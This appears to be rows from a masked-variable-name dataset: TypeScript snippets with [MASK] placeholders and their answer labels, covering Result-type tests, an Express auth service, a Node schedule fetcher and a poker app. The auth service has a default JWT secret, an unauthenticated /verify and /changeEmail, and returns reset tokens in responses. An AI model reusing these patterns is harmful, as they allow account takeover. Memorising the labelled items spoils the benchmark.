				expect(validResult.data.value).toBe(42);
			}

			expect(invalidResult.type).toBe(""ERROR_INVALID_NUMBER"");
			if (invalidResult.type === ""ERROR_INVALID_NUMBER"") {
				expect(invalidResult.data.input).toBe(""abc"");
			}
		});

		test(""validateUser function from README"", () => {
			const validData = { id: 123, name: ""Alice"" };
			const invalidData = { name: ""Bob"" };

			const validResult = validateUser(validData);
			const invalidResult = validateUser(invalidData);

			expect(validResult.type).toBe(""SUCCESS_VALID"");
			if (validResult.type === ""SUCCESS_VALID"") {
				expect(validResult.data.id).toBe(123);
			}

			expect(invalidResult.type).toBe(""ERROR_INVALID"");
			if (invalidResult.type === ""ERROR_INVALID"") {
				expect(invalidResult.data.error).toBe(""ID must be a number"");
			}
		});
	});

	describe(""Asynchronous Examples (Mocked)"", () => {
		interface MockResponse {
			ok: boolean;
			status: number;
			data?: unknown;
		}

		// Let TypeScript infer the return type
		async function fetchData(url: string, mockResponse: MockResponse) {
			try {
				// Simulate fetch behavior
				const response = mockResponse;
				if (!response.ok) {
					return Result.err(""HTTP_ERROR"", { status: response.status });
				}
				const data = mockResponse.data || { id: 123, name: ""Test Data"" };
				return Result.ok(data);
			} catch (error) {
				return Result.err(""NETWORK_ERROR"", {
					message: (error as Error).message,
				});
			}
		}

		interface User {
			id: number;
			name: string;
		}

		interface GetUserMockResponse {
			status: number;
			data?: User;
			shouldThrow?: boolean;
		}

		// Or force a specific return type
		async function getUser(id: number, mockResponse: GetUserMockResponse) {
			try {
				if (mockResponse.shouldThrow) {
					throw new Error(""Network error"");
				}

				if (mockResponse.status === 404) {
					return Result.err(""NOT_FOUND"", { message: ""User not found"" });
				}
				if (mockResponse.status !== 200) {
					return Result.err({ message: ""Failed to fetch user"" });
				}

				const user = mockResponse.data || { id, name: ""<NAME>"" };
				return Result.ok(""USER_FOUND"", user);
			} catch (error) {
				return Result.err({ message: (error as Error).message });
			}
		}

		test(""fetchData function from README"", async () => {
			// Test successful response
			const successResult = await fetchData(""http://example.com"", {
				ok: true,
				status: 200,
				data: { message: ""Success"" },
			});
			expect(successResult.type).toBe(""SUCCESS"");
			if (successResult.type === ""SUCCESS"") {
				expect(successResult.data).toEqual({ message: ""Success"" });
			}

			// Test HTTP error
			const httpErrorResult = await fetchData(""http://example.com"", {
				ok: false,
				status: 500,
			});
			expect(httpErrorResult.type).toBe(""ERROR_HTTP_ERROR"");
			if (httpErrorResult.type === ""ERROR_HTTP_ERROR"") {
				expect(httpErrorResult.data.status).toBe(500);
			}
		});

		test(""getUser function from README"", async () => {
			// Test successful user fetch
			const userResult = await getUser(123, {
				status: 200,
				data: { id: 123, name: ""Alice"" },
			});
			expect(userResult.type).toBe(""SUCCESS_USER_FOUND"");
			if (userResult.type === ""SUCCESS_USER_FOUND"") {
				expect(userResult.data.name).toBe(""Alice"");
			}

			// Test user not found
			const notFoundResult = await getUser(999, { status: 404 });
			expect(notFoundResult.type).toBe(""ERROR_NOT_FOUND"");
			if (notFoundResult.type === ""ERROR_NOT_FOUND"") {
				expect(notFoundResult.data.message).toBe(""User not found"");
			}

			// Test general error
			const errorResult = await getUser(123, { status: 500 });
			expect(errorResult.type).toBe(""ERROR"");
			if (errorResult.type === ""ERROR"") {
				expect(errorResult.data.message).toBe(""Failed to fetch user"");
			}

			// Test network error
			const networkErrorResult = await getUser(123, {
				status: 200,
				shouldThrow: true,
			});
			expect(networkErrorResult.type).toBe(""ERROR"");
			if (networkErrorResult.type === ""ERROR"") {
				expect(networkErrorResult.data.message).toBe(""Network error"");
			}
		});

		test(""switch statement usage from README"", async () => {
			const userResult = await getUser(123, {
				status: 200,
				data: { id: 123, name: ""<NAME>"" },
			});

			let result: User | string;
			switch (userResult.type) {
				case ""SUCCESS_USER_FOUND"":
					result = userResult.data; // TypeScript knows this is User
					break;
				case ""ERROR_NOT_FOUND"":
				case ""ERROR"":
					result = userResult.data.message;
					break;
				default: {
					// TypeScript will error if we miss a case
					const exhaustive: never = userResult;
					throw new Error(""Unhandled result type"");
				}
			}

			expect(result).toEqual({ id: 123, name: ""<NAME>"" });
		});
	});

	describe(""Best Practices Examples"", () => {
		test(""descriptive tags vs generic tags"", () => {
			// ❌ Not descriptive (but still works)
			const genericError = Result.err({ message: ""Failed"" });
			expect(genericError.type).toBe(""ERROR"");

			// ✅ Descriptive and actionable
			const descriptiveError = Result.err(""VALIDATION_FAILED"", {
				field: ""email"",
				message: ""Invalid email format"",
			});
			expect(descriptiveError.type).toBe(""ERROR_VALIDATION_FAILED"");
			expect(descriptiveError.data.field).toBe(""email"");
		});

		test(""grouped related result types"", () => {
			interface User {
				id: number;
				name: string;
			}

			const createdResult = Result.ok(""USER_CREATED"", {
				id: 1,
				name: ""Alice"",
			});
			const errorResult = Result.err(""VALIDATION_ERROR"", {
				message: ""Invalid data"",
			});

			expect(createdResult.type).toBe(""SUCCESS_USER_CREATED"");
			expect(errorResult.type).toBe(""ERROR_VALIDATION_ERROR"");
		});

		test(""exhaustive checking with switch statements"", () => {
			type UserOperationResult =
				| SuccessResultType<
					""USER_CREATED"" | ""USER_UPDATED"",
					{ id: number; name: string }
				>
				| ErrorResultType<
					""USER_NOT_FOUND"" | ""VALIDATION_ERROR"" | ""PERMISSION_DENIED"",
					{ message: string }
				>;

			function handleResult(result: UserOperationResult) {
				switch (result.type) {
					case ""SUCCESS_USER_CREATED"":
					case ""SUCCESS_USER_UPDATED"":
						return result.data; // TypeScript knows this is User
					case ""ERROR_USER_NOT_FOUND"":
					case ""ERROR_VALIDATION_ERROR"":
					case ""ERROR_PERMISSION_DENIED"":
						throw new Error(result.data.message);
					default: {
						// TypeScript will error if we miss a case
						const exhaustive: never = result;
						throw new Error(""Unhandled result type"");
					}
				}
			}

			const successResult: UserOperationResult = Result.ok(""USER_CREATED"", {
				id: 1,
				name: ""Alice"",
			});
			const errorResult: UserOperationResult = Result.err(""VALIDATION_ERROR"", {
				message: ""Invalid email"",
			});

			expect(handleResult(successResult)).toEqual({ id: 1, name: ""Alice"" });
			expect(() => handleResult(errorResult)).toThrow(""Invalid email"");
		});

		test(""chaining operations safely"", async () => {
			interface User {
				id: number;
				name: string;
			}

			interface UserData {
				id: number;
				name: string;
				email: string;
			}

			// Mock functions for the workflow
			async function fetchUser(userId: number) {
				if (userId === 999) {
					return Result.err(""API_ERROR"", { message: ""User not found"" });
				}
				return Result.ok(""API_SUCCESS"", {
					data: { id: userId, name: ""<NAME>"", email: ""invalid-email"" },
				});
			}

			function validateUser(
				userData: UserData,
			):
				| SuccessResultType<""USER_VALID"", User>
				| ErrorResultType<""USER_INVALID"", { message: string }> {
				if (!userData.email || !userData.email.includes(""@"")) {
					return Result.err(""USER_INVALID"", { message: ""Invalid email"" });
				}
				return Result.ok(""USER_VALID"", {
					id: userData.id,
					name: userData.name,
				});
			}

			async function processUserWorkflow(userId: number) {
				const userResult = await fetchUser(userId);
				if (userResult.type !== ""SUCCESS_API_SUCCESS"") {
					return userResult; // Propagate error
				}

				const validationResult = validateUser(userResult.data.data);
				if (validationResult.type !== ""SUCCESS_USER_VALID"") {
					return validationResult; // Propagate validation error
				}

				// Continue with valid user...
				return Result.ok(""WORKFLOW_COMPLETE"", validationResult.data);
			}

			// Test successful workflow
			const successResult = await processUserWorkflow(123);
			// This will fail validation due to invalid email in mock data
			expect(successResult.type).toBe(""ERROR_USER_INVALID"");

			// Test API error propagation
			const errorResult = await processUserWorkflow(999);
			expect(errorResult.type).toBe(""ERROR_API_ERROR"");
		});
	});
});
",invalidParse
226,"import express from 'express';
import bcrypt from 'bcryptjs';
import jwt from 'jsonwebtoken';
import { OAuth2Client } from 'google-auth-library';
import { putItem, getItem, updateItem } from '../../packages/shared/src/dynamo';
import { policyMiddleware } from '../../packages/shared/src/policyMiddleware';
import { initSentry } from '../../packages/shared/src/sentry';
import { signMessage, verifyMessage } from '../../packages/shared/src/crypto';

export const app = express();
app.use(express.json());
app.use(policyMiddleware);

const USER_TABLE = process.env.USER_TABLE || 'users';
const JWT_SECRET = process.env.JWT_SECRET || 'secret';
const QS_KEY = process.env.QS_KEY || 'quantum-secret';
const GOOGLE_CLIENT_ID = process.env.GOOGLE_CLIENT_ID || '';
const googleClient = new OAuth2Client(GOOGLE_CLIENT_ID);

interface User {
  email: string;
  passwordHash: string;
  verified?: boolean;
  resetToken?: string;
}

app.post('/signup', async (req, res) => {
  const { email, password } = req.body;
  if (!email || !password)
    return res.status(400).json({ error: 'missing fields' });
  const passwordHash = await bcrypt.hash(password, 10);
  await putItem(USER_TABLE, { email, passwordHash, verified: false });
  res.status(201).json({ ok: true });
});

app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  if (!email || !password)
    return res.status(400).json({ error: 'missing fields' });
  const user = await getItem<User>(USER_TABLE, { email });
  if (!user) return res.status(404).json({ error: 'user not found' });
  const  [MASK]  = await bcrypt.compare(password, user.passwordHash);
  if (! [MASK] ) return res.status(401).json({ error: 'invalid credentials' });
  const token = jwt.sign({ email }, JWT_SECRET, { expiresIn: '1h' });
  const signature = signMessage(QS_KEY, token);
  res.json({ token, signature });
});

app.post('/google', async (req, res) => {
  const { idToken } = req.body;
  if (!idToken) return res.status(400).json({ error: 'missing token' });
  try {
    const ticket = await googleClient.verifyIdToken({
      idToken,
      audience: GOOGLE_CLIENT_ID,
    });
    const payload = ticket.getPayload();
    if (!payload || !payload.email) {
      return res.status(401).json({ error: 'invalid token' });
    }
    const email = payload.email;
    let user = await getItem<User>(USER_TABLE, { email });
    if (!user) {
      await putItem(USER_TABLE, {
        email,
        passwordHash: await bcrypt.hash(idToken, 10),
        verified: true,
      });
    }
    const token = jwt.sign({ email }, JWT_SECRET, { expiresIn: '1h' });
    const signature = signMessage(QS_KEY, token);
    res.json({ token, signature });
  } catch (err) {
    res.status(400).json({ error: 'invalid token' });
  }
});

app.post('/verify', async (req, res) => {
  const { email } = req.body;
  if (!email) return res.status(400).json({ error: 'missing email' });
  await putItem(USER_TABLE, { email, verified: true });
  res.json({ ok: true });
});

app.post('/requestPasswordReset', async (req, res) => {
  const { email } = req.body;
  if (!email) return res.status(400).json({ error: 'missing email' });
  const token = jwt.sign({ email }, JWT_SECRET, { expiresIn: '15m' });
  await updateItem(USER_TABLE, { email }, 'SET resetToken = :t', {
    ':t': token,
  });
  // In a real system we'd email the token
  res.json({ ok: true, token });
});

app.post('/resetPassword', async (req, res) => {
  const { email, token, password } = req.body;
  if (!email || !token || !password)
    return res.status(400).json({ error: 'missing fields' });
  const user = await getItem<User>(USER_TABLE, { email });
  if (!user || user.resetToken !== token)
    return res.status(400).json({ error: 'invalid token' });
  const passwordHash = await bcrypt.hash(password, 10);
  await updateItem(
    USER_TABLE,
    { email },
    'SET passwordHash = :p REMOVE resetToken',
    { ':p': passwordHash }
  );
  res.json({ ok: true });
});

app.post('/changeEmail', async (req, res) => {
  const { email, newEmail } = req.body;
  if (!email || !newEmail)
    return res.status(400).json({ error: 'missing fields' });
  const user = await getItem<User>(USER_TABLE, { email });
  if (!user) return res.status(404).json({ error: 'user not found' });
  await putItem(USER_TABLE, { ...user, email: newEmail });
  res.json({ ok: true });
});

app.post('/verifySignature', (req, res) => {
  const { token, signature } = req.body;
  if (!token || !signature)
    return res.status(400).json({ error: 'missing fields' });
  const valid = verifyMessage(QS_KEY, token, signature);
  res.json({ valid });
});

export function start(port = 3000) {
  initSentry('api-auth');
  app.listen(port, () => console.log(`auth listening on ${port}`));
}

if (require.main === module) {
  start(Number(process.env.PORT) || 3000);
}
",match
227,"import { readFile } from ""node:fs/promises"";
import type { PathLike } from ""node:fs"";

// type Digit = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0;
// type Month = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12;
// type Day =
//   | `${Month}`
//   | 13
//   | 14
//   | 15
//   | 16
//   | 17
//   | 18
//   | 19
//   | 20
//   | 21
//   | 22
//   | 23
//   | 24
//   | 25
//   | 26
//   | 27
//   | 28
//   | 29
//   | 30
//   | 31;

// /**
//  * Represents a year. Since Node was started in the 21st century
//  * All years will begin with ""20"" until the next millennium.
//  * @todo This type will need to be updated hundreds of years from
//  * when this was written. (I doubt anyone will care about this by then.)
//  */
// type YearString = `20${Digit}${Digit}`;
// /**
//  * A string representation of a date. Year-Month-Day
//  */
// type DateString = `${YearString}-${Month}-${Day}`;

/**
 * As of the type of writing, all version numbers
 * are either integers or decimal values that are < 1 preceded
 * by a ""v"", with no ""build"" or ""revision"" values.
 */
type VersionName = `v${number}`;

/**
 * Information about a single node version.
 */
export interface NodeVersionInfo {
  start: Date;
  lts?: Date;
  maintenance: Date;
  end: Date;
  codename?: string;
}

export type NodeVersionListing = Record<VersionName, NodeVersionInfo>;

const defaultUrl = new URL(
  ""https://raw.githubusercontent.com/nodejs/Release/main/schedule.json""
);

function isUrl(
  urlOrFilePath: PathLike
): urlOrFilePath is URL | `http${""s"" | """"}://${string}` {
  return (
    urlOrFilePath instanceof URL ||
    (typeof urlOrFilePath === ""string"" && /https?:/i.test(urlOrFilePath))
  );
}

export async function getNodeVersionSchedule(urlOrFilePath: PathLike = defaultUrl) {
  let jsonString: string;
  if (isUrl(urlOrFilePath)) {
    const response = await fetch(urlOrFilePath);
    jsonString = await response.text();
  } else {
    jsonString = await readFile(urlOrFilePath, {
      encoding: ""utf-8"",
    });
  }

  function reviver(this: any, key: string, value: any) {
    if (/(start)|(lts)|(maintenance)|(end)/i.test(value)) {
      return new Date(value);
    }
    return value;
  }
  const  [MASK] : NodeVersionListing = JSON.parse(jsonString, reviver);

  return  [MASK] ;
}
",vList
228,"// eslint-disable-next-line @typescript-eslint/triple-slash-reference
/// <reference path=""./poker.commanding.api.d.ts"" />
import { getAuthToken, setAuthToken } from ""@poker/api-server"";
import * as $ from ""jquery"";
import * as ko from ""knockout"";
import { appConfig } from ""poker/appconfig"";
import { authManager } from ""poker/authmanager"";
import { CommandManager } from ""poker/commandmanager"";
import { AccountManager } from ""poker/services/accountManager"";
import { TableView } from ""poker/table/tableview"";
import ""signalr"";
import * as signals from ""signals"";
import { debugSettings } from ""./debugsettings"";
import { _ } from ""./languagemanager"";
import * as metadataManager from ""./metadatamanager"";
import { PageBlock } from ""./pageblock"";
import {
    CashierPageBlock,
    HomePage,
    InfoPageBlock,
    LobbyPageBlock,
    OtherPageBlock,
    SeatPage,
    TablesPage,
} from ""./pages"";
import ""./poker.commanding.api.ts"";
import {
    AccountStatusPopup,
    AddMoneyPopup,
    AuthPopup,
    ChangePasswordPopup,
    ChatPopup,
    ContinueForgetPasswordPopup,
    CustomPopup,
    ForgetPasswordPopup,
    HandHistoryPopup,
    JoinTablePopup,
    MorePopup,
    NewsPopup,
    OkCancelPopup,
    RegistrationPopup,
    RulesPopup,
    SelectAvatarPopup,
    SettingsPopup,
    SlowConnectionPopup,
    SweepstakesRulesPopup,
    TableMenuPopup,
} from ""./popups"";
import { SimplePopup } from ""./popups/simplepopup"";
import { Selector, SelectorItem } from ""./selector"";
import {
    connectionService,
    deviceEvents,
    getSoundManager,
    imagePreloadService,
    keyboardActivationService,
    orientationService,
    pushService,
    reloadManager,
    slowInternetService,
    WebsiteService,
} from ""./services"";
import * as broadcastService from ""./services/broadcastservice"";
import { uiManager, UIManager } from ""./services/uimanager"";
import { settings } from ""./settings"";
import { TabBar } from ""./tabbar"";
import { AnimationSettings } from ""./table/animationsettings"";
import * as runtimeSettings from ""./table/runtimesettings"";
import { tableManager } from ""./table/tablemanager"";
import * as timeService from ""./timeservice"";
import { PopupBase } from ""./ui/popupbase"";

type PromiseOrVoid = void | Promise<void>;
type ProviseOrVoidFactory = () => PromiseOrVoid;

export interface LoginPromptResult {
    authenticated: boolean;
    wasAuthenticated: boolean;
}

declare const host: string;

export class App {
    public currentPopup: string = null;
    public homePage: HomePage;
    public lobbyPageBlock: LobbyPageBlock;
    public cashierPageBlock: CashierPageBlock;
    public tablesPage: TablesPage;
    public seatsPage: SeatPage;
    public infoPageBlock: InfoPageBlock;
    public otherPageBlock: OtherPageBlock;
    public authPopup: AuthPopup;
    public forgetPasswordPopup: ForgetPasswordPopup;
    public continueForgetPasswordPopup: ContinueForgetPasswordPopup;
    public changePasswordPopup: ChangePasswordPopup;
    public registrationPopup: RegistrationPopup;
    public simplePopup: SimplePopup;
    public okcancelPopup: OkCancelPopup;
    public customPopup: CustomPopup;
    public joinTablePopup: JoinTablePopup;
    public tableMenuPopup: TableMenuPopup;
    public addMoneyPopup: AddMoneyPopup;
    public slowConnectionPopup: SlowConnectionPopup;
    public tableChatPopup: ChatPopup;
    public handHistoryPopup: HandHistoryPopup;
    public accountStatusPopup: AccountStatusPopup;
    public settingsPopup: SettingsPopup;
    public rulesPopup: RulesPopup;
    public sweepstakesRulesPopup: SweepstakesRulesPopup;
    public newsPopup = new NewsPopup();
    public selectAvatarPopup = new SelectAvatarPopup();

    public morePopup: MorePopup;
    public tabBar: TabBar;
    public mainSelector: Selector;
    public spinner: any;
    public progressSpinner: any;
    public processing: ko.Observable<boolean>;
    public popupClosed: Signal;
    public loadPromises: JQueryPromise<void>[];
    public fullyInitialized: boolean;
    public disconnected: boolean;
    public suppressResume: boolean;
    private stopped = false;
    private savedPopup: string = null;
    private commandManager = new CommandManager();

    constructor() {
        this.loadPromises = [];
        // register pages.
        this.homePage = new HomePage();
        this.otherPageBlock = new OtherPageBlock(this.commandManager);
        this.infoPageBlock = new InfoPageBlock();
        this.lobbyPageBlock = new LobbyPageBlock();
        this.cashierPageBlock = new CashierPageBlock();
        this.tablesPage = new TablesPage(this.commandManager);
        this.seatsPage = new SeatPage(this.commandManager);

        this.authPopup = new AuthPopup();
        this.forgetPasswordPopup = new ForgetPasswordPopup();
        this.continueForgetPasswordPopup = new ContinueForgetPasswordPopup();
        this.changePasswordPopup = new ChangePasswordPopup();
        this.registrationPopup = new RegistrationPopup();
        this.simplePopup = new SimplePopup();
        this.okcancelPopup = new OkCancelPopup();
        this.customPopup = new CustomPopup();
        this.joinTablePopup = new JoinTablePopup();
        this.settingsPopup = new SettingsPopup();
        this.rulesPopup = new RulesPopup();
        this.sweepstakesRulesPopup = new SweepstakesRulesPopup();
        this.tableMenuPopup = new TableMenuPopup(this.tablesPage, this.commandManager, new AccountManager(), authManager);
        this.addMoneyPopup = new AddMoneyPopup();
        this.slowConnectionPopup = new SlowConnectionPopup();
        this.tableChatPopup = new ChatPopup();
        this.handHistoryPopup = new HandHistoryPopup();
        this.accountStatusPopup = new AccountStatusPopup();

        this.morePopup = new MorePopup();

        this.processing = ko.observable<boolean>(false);

        this.popupClosed = new signals.Signal();
        this.registerCommands();
    }

    public bindPages() {
        this.bindSubPage(""home"", this.homePage);
        this.bindSubPage(""tables"", this.tablesPage);
        this.bindSubPage(""seats"", this.seatsPage);
        this.bindPopup(""auth"", this.authPopup);
        this.bindPopup(""forgetPassword"", this.forgetPasswordPopup);
        this.bindPopup(""continueForgetPassword"", this.continueForgetPasswordPopup);
        this.bindPopup(""changePassword"", this.changePasswordPopup);
        this.bindPopup(""registration"", this.registrationPopup);
        this.bindPopup(""simple"", this.simplePopup);
        this.bindPopup(""okcancel"", this.okcancelPopup);
        this.bindPopup(""custom"", this.customPopup);
        this.bindPopup(""joinTable"", this.joinTablePopup);
        this.bindPopup(""settings"", this.settingsPopup);
        this.bindPopup(""rules"", this.rulesPopup);
        this.bindPopup(""sweepstakesRules"", this.sweepstakesRulesPopup);
        this.bindPopup(""tableMenu"", this.tableMenuPopup);
        this.bindPopup(""addMoney"", this.addMoneyPopup);
        this.bindPopup(""slowConnection"", this.slowConnectionPopup);
        this.bindPopup(""tableChat"", this.tableChatPopup);
        this.bindPopup(""handHistory"", this.handHistoryPopup);
        this.bindPopup(""accountStatus"", this.accountStatusPopup);
        this.bindPopup(""news"", this.newsPopup);
        this.bindPopup(""selectAvatar"", this.selectAvatarPopup);
        this.bindPageBlock(""lobby"", this.lobbyPageBlock);
        this.bindPageBlock(""other"", this.otherPageBlock);
        this.bindPageBlock(""cashier"", this.cashierPageBlock);
        this.bindPageBlock(""info"", this.infoPageBlock);
        this.bindUIElement("".more-block"", this.morePopup);
        this.mainSelector = new Selector();
        if (typeof window !== ""undefined"") {
            const mainSelectorElement = $("".page.main .sub-page.selector"")[0];
            if (mainSelectorElement) {
                ko.applyBindings(this.mainSelector, mainSelectorElement);
            }
        }
        this.initializeTabbar();
        this.initializeConnection();
        // var progressBackgroundElement = $("".progress-background"")[0];
        // ko.applyBindings(this, progressBackgroundElement);
        if (typeof window !== ""undefined"") {
            this.processing.subscribe(function (newValue) {
                if (newValue) {
                    $("".progress-background"").show();
                }
                else {
                    $("".progress-background"").hide();
                }
            });
        }
        // show startup page
        uiManager.showPage(""initialization"");
        if (typeof window !== ""undefined"") {
            const opts = {
                lines: 13,
                length: 4,
                width: 2,
                radius: 6,
                corners: 1,
                rotate: 0,
                direction: 1,
                color: ""#fff"",
                speed: 1,
                trail: 60,
                shadow: false,
                hwaccel: false,
                className: ""spinner"",
                zIndex: 2e9,
                top: ""auto"",
                left: ""auto"",
            };
            this.spinner = new Spinner(opts);
            const target = document.getElementById(""spinner"");
            this.spinner.spin(target);
            const progressTarget = document.getElementById(""progress-spinner"");
            this.progressSpinner = new Spinner(opts).spin(progressTarget);
        }
    }

    // Bind Event Listeners
    //
    // Bind any events that are required on startup. Common events are:
    // ""load"", ""deviceready"", ""offline"", and ""online"".
    public bindEvents() {
        deviceEvents.ready.add(this.onDeviceReady, this);
        deviceEvents.pause.add(this.onPause, this);
        deviceEvents.resume.add(this.onResume, this);
        deviceEvents.initialize();
        deviceEvents.ready.addOnce(function() {
            console.log(""Device ready fired"");
        });
    }
    // deviceready Event Handler
    //
    // The scope of 'this' is the event. In order to call the 'receivedEvent'
    // function, we must explicity call 'app.receivedEvent(...);'
    public onDeviceReady() {
        const device: Device = window.device;
        if (device != null && device.available) {
            if (device.platform.toLowerCase() === ""ios"") {
                if (device.version.toString().indexOf(""7.0"") === 0) {
                    StatusBar.overlaysWebView(false);
                    /* tslint:disable:no-string-literal */
                    ko.bindingHandlers[""image""].options.enabled = false;
                    /* tslint:enable:no-string-literal */
                    runtimeSettings.setShowNewsAfterLogin(false);
                }
            }
        }

        if (platformInfo.hasMenu()) {
            app.setupMenu();
        }

        // Recalculate width of the landscape mode.
        const currentWidth = $(""body"").width();
        if (currentWidth === 1024) {
            platformInfo.isTablet = true;
        }

        pushService.register();

        tableManager.maxTablesReached.add(function(continuation: () => void) {
            SimplePopup.display(_(""maxtables.caption""), _(""maxtables.maxtablesreached""));
        });
        tableManager.hasTurn.subscribe(function(value: boolean) {
            app.tabBar.notice(""tables"", value);
        });
        app.popupClosed.add(function(popupName: string) {
            keyboardActivationService.forceHideKeyboard();
            console.log(""Popup "" + popupName + "" closed"");
        });
        app.receivedEvent(""deviceready"");
    }
    // Update DOM on a Received Event
    public async receivedEvent(id: string) {
        if (appConfig.timeSettings.updateTimeFromServer) {
            timeService.start();
        }

        settings.soundEnabled.subscribe(function(value) {
            const soundManager = getSoundManager();
            soundManager.enabled(value);
        });
        settings.loadSettings();
        settings.isGuest.subscribe(function(value) {
            if (authManager.authenticated() && !value) {
                app.lobbyPageBlock.lobbyPage.cashOptions.currency(1);
                app.lobbyPageBlock.lobbyPage.sngOptions.currency(1);
                app.lobbyPageBlock.lobbyPage.tournamentOptions.currency(1);
            } else {
                app.lobbyPageBlock.lobbyPage.cashOptions.currency(2);
                app.lobbyPageBlock.lobbyPage.sngOptions.currency(2);
                app.lobbyPageBlock.lobbyPage.tournamentOptions.currency(2);
            }
        });
        authManager.registerAuthenticationChangedHandler(function (value) {
            if (value && !settings.isGuest()) {
                app.lobbyPageBlock.lobbyPage.cashOptions.currency(1);
                app.lobbyPageBlock.lobbyPage.sngOptions.currency(1);
                app.lobbyPageBlock.lobbyPage.tournamentOptions.currency(1);
            } else {
                app.lobbyPageBlock.lobbyPage.cashOptions.currency(2);
                app.lobbyPageBlock.lobbyPage.sngOptions.currency(2);
                app.lobbyPageBlock.lobbyPage.tournamentOptions.currency(2);
            }
        });
        $.when(this.loadPromises).then(() => {
            keyboardActivationService.setup();
            this.setupTouchActivation();
        });
        this.setInitializationState();
        let startPage = ""main"";
        if (this.getParameterByName(""restore"") === ""true"") {
            const currentTime = new Date();
            const timeDiff = currentTime.valueOf() - settings.lastTime();
            if (timeDiff > 1000 * 60 * 20) {
                setAuthToken(null);
                startPage = ""main"";
            } else {
                setAuthToken(settings.authToken());
                startPage = settings.lastPage();
            }
        }

        this.logEvent(""Received Event: "" + id);
        if (window.innerWidth > 640) {
            PageBlock.useDoubleView = true;
            AnimationSettings.platform = ""tablet"";
        }

        this.setDesiredOrientation();

        if (platformInfo.isTablet) {
            orientationService.suppressRotation();
        }

        this.setupClosePopupOnClick();
        metadataManager.setFailed(() => {
            slowInternetService.onConnectionSlow();
            slowInternetService.onDisconnected();
            this.metadataUpdateFailed();
        });
        metadataManager.setReady(() => {
            // Adjust height
            const toolpadHeight = platformInfo.hasTabBar() ? 49 : 15;
            const logoHeight = 102;
            let noLogoHeight = 57;
            const pageHeaderHeight = 58;
            if (platformInfo.hasTabBar()) {
                $("".page.main"").addClass(""has-toolbar"");
            }

            noLogoHeight = window.innerHeight - toolpadHeight - noLogoHeight - platformInfo.statusBarHeight();
            $("".popup-container.scroll-container"").css(""max-height"", noLogoHeight);

            const device: Device = window.device;
            let tournamentLobbyAdjustment = 57;
            let lobbyAdjustment = 0;
            if (device != null && device.available) {
                if (device.platform.toLowerCase() === ""ios"") {
                    tournamentLobbyAdjustment = 57;
                } else {
                    tournamentLobbyAdjustment = 81;
                    lobbyAdjustment = -30;
                    if (platformInfo.hasMenu()) {
                        app.setupMenu();
                    }
                }
            }

            if (startPage === ""main"") {
                uiManager.showPage(""main"");
                this.showPageBlock(""home"");
                this.showSubPage(""home"");
            } else {
                app.showSubPage(""tables"");
                this.loadTablesAndTournaments(true);
            }

            tableManager.tables.subscribe((newValue: TableView[]) => {
                this.updateTabbar(authManager.authenticated(), newValue);
                if (newValue && metadataManager.banners != null) {
                    const filteredBanners = metadataManager.banners
                        .filter((banner) => banner.Id > settings.lastBannerId())
                        .sort((a, b) => a.Id - b.Id);
                    if (filteredBanners.length > 0) {
                        const currentBanner = filteredBanners[0];
                        settings.lastBannerId(currentBanner.Id);
                        settings.saveSettings();
                        if (runtimeSettings.showNewsAfterLogin) {
                            app.newsPopup.setData(currentBanner);
                            app.showPopup(""news"");
                        }
                    }
                }
            });
            authManager.registerAuthenticationChangedHandler((newValue) => {
                this.updateTabbar(newValue, tableManager.tables());

                // tslint:disable-next-line:no-console
                console.log(""Authentication changed."");
                setTimeout(() => {
                    this.terminateConnection();
                    this.loadTablesAndTournaments(newValue);
                }, 100);
            });
        });

        slowInternetService.initialize();
        const hasInternet = slowInternetService.hasInternet();
        // tslint:disable-next-line:no-console
        console.log(""Detecting internet status..."" + hasInternet ? ""connected"" : ""not connected"");
        if (hasInternet) {
            slowInternetService.setRetryHandler(null);
            this.updateMetadataOnLaunch();
            this.hideSplash();
        } else {
            slowInternetService.onOffline();
            this.hideSplash();
            slowInternetService.setRetryHandler(() => this.updateMetadataOnLaunch());
        }
    }
    public setInitializationState() {
        const parentElement = document.getElementById(""deviceready"");
        if (parentElement) {
            const listeningElement = parentElement.querySelector("".listening"");
            const receivedElement = parentElement.querySelector("".received"");

            if (listeningElement) {
                listeningElement.setAttribute(""style"", ""display:none;"");
            }

            if (receivedElement) {
                receivedElement.setAttribute(""style"", ""display:block;"");
            }
        }
    }
    public buildStartConnection() {
        return connectionService.buildStartConnectionAsync();
    }
    public showSubPage(pageName: string) {
        this.hideMoreBlock();
        uiManager.showSubPage(pageName);
    }
    public showPageBlock(pageBlockName: string) {
        uiManager.showPageBlock(pageBlockName);
    }
    public showSelector(selectorCaption: string, options: SelectorItem[], success: (item: SelectorItem) => void) {
        const successCallback = (item: SelectorItem) => {
            $("".page .page-block."" + uiManager.currentPageBlock).css(""display"", ""block"");
            $("".page .sub-page."" + uiManager.currentPage).css(""display"", ""block"");
            $("".page .sub-page.selector"").css(""display"", ""none"");
            success(item);
        };
        const cancelCallback = () => {
            $("".page .page-block."" + uiManager.currentPageBlock).css(""display"", ""block"");
            $("".page .sub-page."" + uiManager.currentPage).css(""display"", ""block"");
            $("".page .sub-page.selector"").css(""display"", ""none"");
        };
        $("".page .page-block."" + uiManager.currentPageBlock).css(""display"", ""none"");
        $("".page .sub-page."" + uiManager.currentPage).css(""display"", ""none"");
        $("".page .sub-page.selector"").css(""display"", ""block"");
        this.mainSelector.setParams(selectorCaption, options, successCallback, cancelCallback);
    }
    public bindPageBlock(pageBlockName: string, viewModel: PageBlock) {
        this.commandManager.registerCommand(""pageblock."" + pageBlockName, async () => {
            const requireAuthentication = viewModel.requireAuthentication;
            if (!requireAuthentication) {
                if (!viewModel.requireGuestAuthentication) {
                    this.showPageBlock(pageBlockName);
                } else {
                    const value = await app.requireGuestAuthentication();
                    if (value.authenticated) {
                        this.showPageBlock(pageBlockName);
                    }
                }
            } else {
                const value = await app.requireAuthentication();
                if (value.authenticated) {
                    this.showPageBlock(pageBlockName);
                }
            }
        });

        for (let i = 0; i < viewModel.loadPromises.length; i++) {
            const item = viewModel.loadPromises[i];
            this.loadPromises.push(item);
        }
    }
    public bindSubPage(pageName: string, viewModel: any) {
        this.commandManager.registerCommand(""page."" + pageName, async () => {
            const requireAuthentication = viewModel.requireAuthentication || false;
            if (!requireAuthentication) {
                this.showSubPage(pageName);
            } else {
                const value = await app.requireAuthentication();
                if (value.authenticated) {
                    this.showSubPage(pageName);
                }
            }
        });

        if (typeof window === ""undefined"") {
            return;
        }

